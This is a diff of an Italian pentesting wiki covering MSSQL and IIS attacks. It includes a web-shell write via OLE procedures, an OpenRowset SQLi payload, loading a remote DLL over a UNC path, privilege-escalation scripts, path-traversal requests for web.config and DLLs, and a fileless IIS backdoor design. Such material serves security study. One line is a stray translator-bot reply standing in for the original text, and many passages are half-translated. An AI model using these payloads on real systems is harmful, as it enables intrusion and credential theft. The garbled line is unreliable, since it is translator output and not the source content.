 ../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
 {{#endref}}
 
-### Abusare dei Link di MSSQL
+### Abuso dei trusted Links di MSSQL
+
+[**Read this post**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **per trovare più informazioni su come abusare di questa funzionalità:**
 
-[**Leggi questo post**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **per trovare ulteriori informazioni su come abusare di questa funzionalità:**
 
 {{#ref}}
 ../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md
 {{#endref}}
 
-### **Scrivere File**
+### **Write Files**
 
-Per scrivere file utilizzando `MSSQL`, dobbiamo **abilitare** [**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), che richiede privilegi di amministratore, e poi eseguire alcune stored procedure per creare il file:
+Per scrivere file usando `MSSQL`, dobbiamo **abilitare** [**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), che richiede privilegi di amministratore, e poi eseguire alcune stored procedures per creare il file:
 ```bash
 # Enable Ole Automation Procedures
 sp_configure 'show advanced options', 1
@@ -309,30 +343,30 @@ EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"
 EXECUTE sp_OADestroy @FileID
 EXECUTE sp_OADestroy @OLE
 ```
-### **Leggi file con** OPENROWSET
+### **Leggere file con** OPENROWSET
 
-Per impostazione predefinita, `MSSQL` consente la lettura di file **su qualsiasi file nel sistema operativo a cui l'account ha accesso in lettura**. Possiamo utilizzare la seguente query SQL:
+Per impostazione predefinita, `MSSQL` consente la lettura di file **su qualsiasi file del sistema operativo a cui l'account ha accesso in lettura**. Possiamo usare la seguente query SQL:
 ```sql
 SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
 ```
-Tuttavia, l'opzione **`BULK`** richiede il permesso **`ADMINISTER BULK OPERATIONS`** o **`ADMINISTER DATABASE BULK OPERATIONS`**.
+Tuttavia, l'opzione **`BULK`** richiede il permesso **`ADMINISTER BULK OPERATIONS`** o il permesso **`ADMINISTER DATABASE BULK OPERATIONS`**.
 ```sql
 # Check if you have it
 SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
 ```
-#### Vettore basato su errore per SQLi:
+#### Vettore Error-based per SQLi:
 ```
 https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
 ```
-### **RCE/Eseguire file eseguendo script (Python e R)**
+### **RCE/Leggere file eseguendo script (Python e R)**
 
-MSSQL potrebbe consentirti di eseguire **script in Python e/o R**. Questo codice sarà eseguito da un **utente diverso** rispetto a quello che utilizza **xp_cmdshell** per eseguire comandi.
+MSSQL potrebbe permetterti di eseguire **script in Python e/o R**. Questi script verranno eseguiti da un **utente diverso** rispetto a quello che usa **xp_cmdshell** per eseguire comandi.
 
-Esempio di tentativo di eseguire un **'R'** _"Hellow World!"_ **non funzionante**:
+Esempio che tenta di eseguire un **'R'** _"Hellow World!"_ **non funzionante**:
 
 ![](<../../images/image (393).png>)
 
-Esempio di utilizzo di Python configurato per eseguire diverse azioni:
+Esempio usando python configurato per eseguire diverse azioni:
 ```sql
 # Print the user being used (and execute commands)
 EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
@@ -346,11 +380,11 @@ print(sys.version)
 '
 GO
 ```
-### Leggi Registro
+### Lettura del Registro
 
-Microsoft SQL Server fornisce **multiple extended stored procedures** che ti permettono di interagire non solo con la rete ma anche con il file system e persino il [**Windows Registry**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:**
+Microsoft SQL Server fornisce **diverse stored procedure estese** che permettono di interagire non solo con la rete ma anche con il file system e persino con il [**Windows Registry**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:**
 
-| **Regolare**                | **Consapevole dell'istanza**         |
+| **Standard**                | **Specifico per istanza**             |
 | --------------------------- | ------------------------------------ |
 | sys.xp_regread              | sys.xp_instance_regread              |
 | sys.xp_regenumvalues        | sys.xp_instance_regenumvalues        |
@@ -371,21 +405,21 @@ Use master;
 EXEC sp_helprotect 'xp_regread';
 EXEC sp_helprotect 'xp_regwrite';
 ```
-Per **ulteriori esempi** controlla la [**fonte originale**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/).
+Per **altri esempi** consulta la [**fonte originale**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/).
 
-### RCE con MSSQL User Defined Function - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
+### RCE with MSSQL User Defined Function - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
 
-È possibile **caricare un .NET dll all'interno di MSSQL con funzioni personalizzate**. Questo, tuttavia, **richiede accesso `dbo`** quindi hai bisogno di una connessione al database **come `sa` o un ruolo di Amministratore**.
+È possibile **caricare una dll .NET in MSSQL tramite funzioni personalizzate**. Questo, tuttavia, **richiede accesso `dbo`**, quindi è necessaria una connessione al database **come `sa` o con ruolo Administrator**.
 
 [**Segui questo link**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) per vedere un esempio.
 
-### RCE con `autoadmin_task_agents`
+### RCE with `autoadmin_task_agents`
 
-Secondo [**questo post**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp), è anche possibile caricare un dll remoto e far eseguire a MSSQL con qualcosa come:
+Secondo [**questo post**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp), è anche possibile caricare una dll remota e farla eseguire da MSSQL con qualcosa di simile:
 ```sql
 update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1";
 ```
-Con:
+Non hai fornito alcun contenuto da tradurre. Per favore incolla qui il testo (es. il contenuto di README.md) o specifica cosa vuoi che traduca.
 ```csharp
 using Microsoft.SqlServer.SmartAdmin;
 using System;
@@ -437,13 +471,13 @@ public void Test()
 ```
 ### Altri modi per RCE
 
-Ci sono altri metodi per ottenere l'esecuzione di comandi, come aggiungere [extended stored procedures](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR Assemblies](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent Jobs](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15) e [external scripts](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).
+Esistono altri metodi per ottenere l'esecuzione di comandi, come aggiungere [extended stored procedures](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR Assemblies](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent Jobs](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), e [external scripts](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).
 
-## Escalation dei privilegi MSSQL
+## MSSQL Privilege Escalation
 
 ### Da db_owner a sysadmin
 
-Se a un **utente regolare** viene assegnato il ruolo **`db_owner`** su un **database di proprietà di un utente admin** (come **`sa`**) e quel database è configurato come **`trustworthy`**, quell'utente può abusare di questi privilegi per **privesc** perché le **stored procedures** create lì possono **eseguire** come il proprietario (**admin**).
+Se a un **utente normale** viene assegnato il ruolo **`db_owner`** sul **database owned by an admin** (ad esempio **`sa`**) e quel database è configurato come **`trustworthy`**, quell'utente può abusare di questi privilegi per **privesc** perché le **stored procedures** create lì possono **execute** come il proprietario (**admin**).
 ```sql
 # Get owners of databases
 SELECT suser_sname(owner_sid) FROM sys.databases
@@ -477,19 +511,19 @@ EXEC sp_elevate_me
 --3. Verify your user is a sysadmin
 SELECT is_srvrolemember('sysadmin')
 ```
-Puoi utilizzare un modulo **metasploit**:
+Puoi usare un modulo **metasploit**:
 ```bash
 msf> use auxiliary/admin/mssql/mssql_escalate_dbowner
 ```
-O uno script **PS**:
+Oppure uno **PS** script:
 ```bash
 # https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1
 Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
 Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184
 ```
-### Impersonificazione di altri utenti
+### Impersonation of other users
 
-SQL Server ha un permesso speciale, chiamato **`IMPERSONATE`**, che **consente all'utente che esegue di assumere i permessi di un altro utente** o login fino a quando il contesto non viene ripristinato o la sessione termina.
+SQL Server ha un permesso speciale, chiamato **`IMPERSONATE`**, che **permette all'utente che esegue di assumere i permessi di un altro utente** o login fino a quando il contesto viene resettato o la sessione termina.
 ```sql
 # Find users you can impersonate
 SELECT distinct b.name
@@ -510,9 +544,9 @@ enum_links
 use_link [NAME]
 ```
 > [!TIP]
-> Se puoi impersonare un utente, anche se non è sysadmin, dovresti controllare se l'utente ha accesso ad altri database o server collegati.
+> Se puoi impersonare un utente, anche se non è sysadmin, dovresti verificare s**e l'utente ha accesso** ad altri **databases** o linked servers.
 
-Nota che una volta che sei sysadmin puoi impersonare qualsiasi altro utente:
+Nota che una volta sysadmin puoi impersonare qualsiasi altro utente:
 ```sql
 -- Impersonate RegUser
 EXECUTE AS LOGIN = 'RegUser'
@@ -532,32 +566,32 @@ o con uno script **PS**:
 Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
 Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!
 ```
-## Utilizzo di MSSQL per la Persistenza
+## Uso di MSSQL per la persistenza
 
 [https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/)
 
-## Estrazione delle password dai Linked Servers di SQL Server
+## Estrazione delle password da SQL Server Linked Servers
 
-Un attaccante può estrarre le password dei Linked Servers di SQL Server dalle istanze SQL e ottenerle in chiaro, concedendo all'attaccante password che possono essere utilizzate per acquisire una maggiore presa sul bersaglio. Lo script per estrarre e decrittografare le password memorizzate per i Linked Servers può essere trovato [qui](https://www.richardswinbank.net/admin/extract_linked_server_passwords)
+An attacker can extract SQL Server Linked Servers passwords from the SQL Instances and get them in clear text, granting the attacker passwords that can be used to acquire a greater foothold on the target. The script to extract and decrypt the passwords stored for the Linked Servers can be found [here](https://www.richardswinbank.net/admin/extract_linked_server_passwords)
 
-Alcuni requisiti e configurazioni devono essere eseguiti affinché questo exploit funzioni. Prima di tutto, è necessario avere diritti di Amministratore sulla macchina o la possibilità di gestire le Configurazioni di SQL Server.
+Alcuni requisiti e configurazioni devono essere eseguiti affinché questo exploit funzioni. Prima di tutto, devi avere i diritti di Administrator sulla macchina, oppure la possibilità di gestire le SQL Server Configurations.
 
-Dopo aver convalidato i tuoi permessi, devi configurare tre cose, che sono le seguenti:
+Dopo aver verificato i permessi, è necessario configurare tre cose, che sono le seguenti:
 
-1. Abilitare TCP/IP sulle istanze di SQL Server;
-2. Aggiungere un parametro di avvio, in questo caso, verrà aggiunto un flag di traccia, che è -T7806.
-3. Abilitare la connessione remota per l'amministratore.
+1. Enable TCP/IP on the SQL Server instances;
+2. Add a Start Up parameter, in this case, a trace flag will be added, which is -T7806.
+3. Enable remote admin connection.
 
-Per automatizzare queste configurazioni, [questo repository](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) ha gli script necessari. Oltre ad avere uno script powershell per ciascun passaggio della configurazione, il repository ha anche uno script completo che combina gli script di configurazione e l'estrazione e decrittografia delle password.
+Per automatizzare queste configurazioni, [this repository ](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/)has the needed scripts. Oltre ad avere uno script powershell per ogni step della configurazione, il repository include anche uno script completo che combina gli script di configurazione e l'estrazione e la decryption delle password.
 
-Per ulteriori informazioni, fai riferimento ai seguenti link riguardanti questo attacco: [Decrittografia delle password dei Linked Server di MSSQL](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
+Per ulteriori informazioni, fare riferimento ai seguenti link relativi a questo attacco: [Decrypting MSSQL Database Link Server Passwords](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
 
-[Risoluzione dei problemi della connessione dedicata per l'amministratore di SQL Server](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
+[Troubleshooting the SQL Server Dedicated Administrator Connection](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
 
-## Escalation Locale dei Privilegi
+## Escalation dei privilegi locali
 
-L'utente che esegue il server MSSQL avrà abilitato il token di privilegio **SeImpersonatePrivilege.**\
-Probabilmente sarai in grado di **escalare a Amministratore** seguendo una di queste 2 pagine:
+The user running MSSQL server will have enabled the privilege token **SeImpersonatePrivilege.**\
+You probably will be able to **escalate to Administrator** following one of these 2 paged:
 
 
 {{#ref}}
@@ -575,6 +609,18 @@ Probabilmente sarai in grado di **escalare a Amministratore** seguendo una di qu
 
 ## Riferimenti
 
+- [Unit 42 – Phantom Taurus: WMI-driven direct SQL collection via batch/sqlcmd](https://unit42.paloaltonetworks.com/phantom-taurus/)
+- [https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users](https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users)
+- [https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/](https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/)
+- [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
+- [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/)
+- [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/)
+- [https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/)
+- [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)
+- [https://mayfly277.github.io/posts/GOADv2-pwning-part12/](https://mayfly277.github.io/posts/GOADv2-pwning-part12/)
+- [https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp)
+
+
 - [https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users](https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users)
 - [https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/](https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/)
 - [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
@@ -585,7 +631,7 @@ Probabilmente sarai in grado di **escalare a Amministratore** seguendo una di qu
 - [https://mayfly277.github.io/posts/GOADv2-pwning-part12/](https://mayfly277.github.io/posts/GOADv2-pwning-part12/)
 - [https://exploit7-tr.translate.goog/posts/sqlserver/?\_x_tr_sl=es&\_x_tr_tl=en&\_x_tr_hl=en&\_x_tr_pto=wapp](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp)
 
-## Comandi Automatici HackTricks
+## Comandi automatici HackTricks
 ```
 Protocol_Name: MSSQL    #Protocol Abbreviation if there is one.
 Port_Number:  1433     #Comma separated if there is more than one.

src/network-services-pentesting/pentesting-web/iis-internet-information-services.md

@@ -2,21 +2,21 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-Testa le estensioni dei file eseguibili:
+Estensioni di file eseguibili di test:
 
 - asp
 - aspx
 - config
 - php
 
-## Rivelazione dell'indirizzo IP interno
+## Divulgazione dell'indirizzo IP interno
 
-Su qualsiasi server IIS dove ottieni un 302, puoi provare a rimuovere l'intestazione Host e utilizzare HTTP/1.0 e all'interno della risposta l'intestazione Location potrebbe indirizzarti all'indirizzo IP interno:
+Su qualsiasi server IIS in cui ricevi un 302 puoi provare a rimuovere l'Host header e usare HTTP/1.0; nella risposta l'Location header potrebbe puntare all'indirizzo IP interno:
 ```
 nc -v domain.com 80
 openssl s_client -connect domain.com:443
 ```
-Risposta che rivela l'IP interno:
+Risposta che rivela l'indirizzo IP interno:
 ```
 GET / HTTP/1.0
 
@@ -29,19 +29,19 @@ X-FEServer: NHEXCHANGE2016
 ```
 ## Eseguire file .config
 
-Puoi caricare file .config e usarli per eseguire codice. Un modo per farlo è aggiungere il codice alla fine del file all'interno di un commento HTML: [Scarica l'esempio qui](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
+You can upload .config files and use them to execute code. One way to do it is appending the code at the end of the file inside an HTML comment: [Download example here](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
 
-Ulteriori informazioni e tecniche per sfruttare questa vulnerabilità [qui](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)
+More information and techniques to exploit this vulnerability [here](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)
 
-## Scoperta IIS Bruteforce
+## IIS Discovery Bruteforce
 
-Scarica l'elenco che ho creato:
+Scarica la lista che ho creato:
 
 {{#file}}
 iisfinal.txt
 {{#endfile}}
 
-È stato creato unendo i contenuti dei seguenti elenchi:
+È stata creata unendo i contenuti delle seguenti liste:
 
 [https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt)\
 [http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html](http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html)\
@@ -50,22 +50,22 @@ iisfinal.txt
 [https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt)\
 [https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt](https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt)
 
-Usalo senza aggiungere alcuna estensione, i file che ne hanno bisogno ce l'hanno già.
+Usala senza aggiungere estensioni, i file che ne hanno bisogno le hanno già.
 
-## Traversata del percorso
+## Path Traversal
 
-### Rivelazione del codice sorgente
+### Leaking source code
 
-Controlla il resoconto completo in: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
+Leggi il writeup completo su: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
 
-> [!NOTE]
-> In sintesi, ci sono diversi file web.config all'interno delle cartelle dell'applicazione con riferimenti a file "**assemblyIdentity**" e "**namespaces**". Con queste informazioni è possibile sapere **dove si trovano gli eseguibili** e scaricarli.\
-> Dai **Dll scaricati** è anche possibile trovare **nuovi namespaces** dove dovresti provare ad accedere e ottenere il file web.config per trovare nuovi namespaces e assemblyIdentity.\
+> [!TIP]
+> In sintesi, ci sono diversi file web.config nelle cartelle dell'applicazione con riferimenti a file **assemblyIdentity** e **namespaces**. Con queste informazioni è possibile sapere **dove sono collocati gli eseguibili** e scaricarli.\
+> Dai **Dlls scaricati** è anche possibile trovare **nuovi namespaces** dove dovresti provare ad accedere e ottenere il file web.config per trovare nuovi namespaces e assemblyIdentity.\
 > Inoltre, i file **connectionstrings.config** e **global.asax** possono contenere informazioni interessanti.
 
-Nelle **applicazioni .Net MVC**, il file **web.config** gioca un ruolo cruciale specificando ogni file binario su cui l'applicazione fa affidamento attraverso i tag XML **"assemblyIdentity"**.
+In **.Net MVC applications**, the **web.config** file plays a crucial role by specifying each binary file the application relies on through **"assemblyIdentity"** XML tags.
 
-### **Esplorare file binari**
+### **Esplorazione dei file binari**
 
 Un esempio di accesso al file **web.config** è mostrato di seguito:
 ```html
@@ -75,34 +75,34 @@ Host: example-mvc-application.minded
 Questa richiesta rivela varie impostazioni e dipendenze, come:
 
 - **EntityFramework** versione
-- **AppSettings** per pagine web, validazione client e JavaScript
-- Configurazioni di **System.web** per autenticazione e runtime
-- Impostazioni dei moduli di **System.webServer**
-- Bindings di assembly di **Runtime** per numerose librerie come **Microsoft.Owin**, **Newtonsoft.Json** e **System.Web.Mvc**
+- **AppSettings** per webpages, client validation e JavaScript
+- **System.web** configurazioni per autenticazione e runtime
+- **System.webServer** impostazioni dei modules
+- **Runtime** assembly bindings per numerose librerie come **Microsoft.Owin**, **Newtonsoft.Json** e **System.Web.Mvc**
 
-Queste impostazioni indicano che determinati file, come **/bin/WebGrease.dll**, si trovano all'interno della cartella /bin dell'applicazione.
+Queste impostazioni indicano che alcuni file, come **/bin/WebGrease.dll**, si trovano nella cartella /bin dell'applicazione.
 
-### **File della Directory Radice**
+### **File nella directory root**
 
-I file trovati nella directory radice, come **/global.asax** e **/connectionstrings.config** (che contiene password sensibili), sono essenziali per la configurazione e il funzionamento dell'applicazione.
+I file presenti nella directory root, come **/global.asax** e **/connectionstrings.config** (che contiene password sensibili), sono essenziali per la configurazione e il funzionamento dell'applicazione.
 
-### **Namespace e Web.Config**
+### **Namespaces e Web.Config**
 
-Le applicazioni MVC definiscono anche ulteriori **file web.config** per namespace specifici per evitare dichiarazioni ripetitive in ogni file, come dimostrato con una richiesta per scaricare un altro **web.config**:
+Le applicazioni MVC definiscono anche ulteriori **web.config files** per namespace specifici, per evitare dichiarazioni ripetitive in ogni file, come dimostrato da una richiesta per scaricare un altro **web.config**:
 ```html
 GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
 Host: example-mvc-application.minded
 ```
-### **Download di DLL**
+### **Scaricamento DLLs**
 
-La menzione di uno spazio dei nomi personalizzato suggerisce la presenza di una DLL chiamata "**WebApplication1**" nella directory /bin. A seguire, viene mostrata una richiesta per scaricare la **WebApplication1.dll**:
+La menzione di un custom namespace suggerisce la presenza di una DLL chiamata "**WebApplication1**" nella directory /bin. Di seguito è mostrata una richiesta per scaricare la **WebApplication1.dll**:
 ```html
 GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
 Host: example-mvc-application.minded
 ```
-Questo suggerisce la presenza di altri DLL essenziali, come **System.Web.Mvc.dll** e **System.Web.Optimization.dll**, nella directory /bin.
+Questo suggerisce la presenza di altre DLL essenziali, come **System.Web.Mvc.dll** e **System.Web.Optimization.dll**, nella directory /bin.
 
-In uno scenario in cui un DLL importa uno spazio dei nomi chiamato **WebApplication1.Areas.Minded**, un attaccante potrebbe dedurre l'esistenza di altri file web.config in percorsi prevedibili, come **/area-name/Views/**, contenenti configurazioni specifiche e riferimenti ad altri DLL nella cartella /bin. Ad esempio, una richiesta a **/Minded/Views/web.config** può rivelare configurazioni e spazi dei nomi che indicano la presenza di un altro DLL, **WebApplication1.AdditionalFeatures.dll**.
+In uno scenario in cui una DLL importa un namespace chiamato **WebApplication1.Areas.Minded**, an attacker potrebbe dedurre l'esistenza di altri file web.config in percorsi prevedibili, come **/area-name/Views/**, contenenti configurazioni specifiche e riferimenti ad altre DLL nella cartella /bin. Per esempio, una richiesta a **/Minded/Views/web.config** può rivelare configurazioni e namespace che indicano la presenza di un'altra DLL, **WebApplication1.AdditionalFeatures.dll**.
 
 ### File comuni
 
@@ -183,45 +183,162 @@ C:\xampp\security\webdav.htpasswd
 C:\xampp\sendmail\sendmail.ini
 C:\xampp\tomcat\conf\server.xml
 ```
-## HTTPAPI 2.0 Errore 404
+## HTTPAPI 2.0 404 Error
 
-Se vedi un errore come il seguente:
+If you see an error like the following one:
 
-![](<../../images/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
+![](<../../images/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
 
-Significa che il server **non ha ricevuto il nome di dominio corretto** all'interno dell'intestazione Host.\
-Per accedere alla pagina web potresti dare un'occhiata al **Certificato SSL** servito e forse puoi trovare il nome del dominio/sottodominio lì. Se non è presente, potresti dover **forzare VHosts** fino a trovare quello corretto.
+Significa che il server **non ha ricevuto il nome di dominio corretto** all'interno dell'Host header.\
+Per accedere alla pagina web puoi controllare il **SSL Certificate** servito e magari trovare lì il nome di dominio/sottodominio. Se non è presente, potresti dover **brute force VHosts** finché non trovi quello corretto.
 
-## Vecchie vulnerabilità di IIS da cercare
+## Decrypt encrypted configuration and ASP.NET Core Data Protection key rings
 
-### Vulnerabilità/Caratteristica del carattere tilde “\~” di Microsoft IIS – Rivelazione di nomi di file/cartelle brevi
+Due schemi comuni per proteggere i segreti nelle app .NET ospitate su IIS sono:
+- ASP.NET Protected Configuration (RsaProtectedConfigurationProvider) per le sezioni di web.config come <connectionStrings>.
+- ASP.NET Core Data Protection key ring (persistente localmente) usato per proteggere i segreti dell'applicazione e i cookie.
 
-Puoi provare a **enumerare cartelle e file** all'interno di ogni cartella scoperta (anche se richiede l'autenticazione di base) utilizzando questa **tecnica**.\
-La principale limitazione di questa tecnica, se il server è vulnerabile, è che **può trovare solo fino ai primi 6 caratteri del nome di ogni file/cartella e i primi 3 caratteri dell'estensione** dei file.
+Se hai accesso al filesystem o accesso interattivo sul web server, le chiavi collocate sullo stesso host spesso permettono la decrittazione.
+
+- ASP.NET (Full Framework) – decriptare le sezioni di config protette con aspnet_regiis:
+```cmd
+# Decrypt a section by app path (site configured in IIS)
+%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pd "connectionStrings" -app "/MyApplication"
+
+# Or specify the physical path (-pef/-pdf write/read to a config file under a dir)
+%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pdf "connectionStrings" "C:\inetpub\wwwroot\MyApplication"
+```
+- ASP.NET Core – cercare Data Protection key rings memorizzati localmente (file XML/JSON) in posizioni come:
+- %PROGRAMDATA%\Microsoft\ASP.NET\DataProtection-Keys
+- HKLM\SOFTWARE\Microsoft\ASP.NET\Core\DataProtection-Keys (registry)
+- App-managed folder (e.g., App_Data\keys or a Keys directory next to the app)
+
+Con il key ring disponibile, un operatore che esegue con l’identità dell’app può istanziare un IDataProtector con gli stessi purposes e usare unprotect sui segreti memorizzati. Le misconfigurazioni che memorizzano il key ring insieme ai file dell’app rendono la decrittazione offline banale una volta compromesso l’host.
+
+## IIS fileless backdoors and in-memory .NET loaders (NET-STAR style)
+
+Il toolkit Phantom Taurus/NET-STAR mostra un pattern maturo per fileless IIS persistence e post‑exploitation interamente dentro w3wp.exe. Le idee principali sono ampiamente riutilizzabili per tradecraft personalizzato e per detection/hunting.
+
+Key building blocks
+- ASPX bootstrapper hosting an embedded payload: una singola pagina .aspx (es. OutlookEN.aspx) contiene una .NET DLL codificata in Base64 e opzionalmente compressa con Gzip. Su una request trigger la decodifica, la decomprime e la carica reflectively nell’AppDomain corrente e invoca il punto d’ingresso principale (es. ServerRun.Run()).
+- Cookie‑scoped, encrypted C2 with multi‑stage packing: tasks/results sono incapsulati con Gzip → AES‑ECB/PKCS7 → Base64 e trasferiti via richieste apparentemente legittime con molti cookie; gli operatori usavano delimitatori stabili (es. "STAR") per il chunking.
+- Reflective .NET execution: accetta assembly managed arbitrari come Base64, carica tramite Assembly.Load(byte[]) e passa operator args per rapidi module swaps senza toccare il disco.
+- Operating in precompiled ASP.NET sites: aggiungere/gestire shell/backdoor ausiliarie anche quando il sito è precompilato (es. il dropper aggiunge pagine/handler dinamici o sfrutta config handlers) – esposto da comandi come bypassPrecompiledApp, addshell, listshell, removeshell.
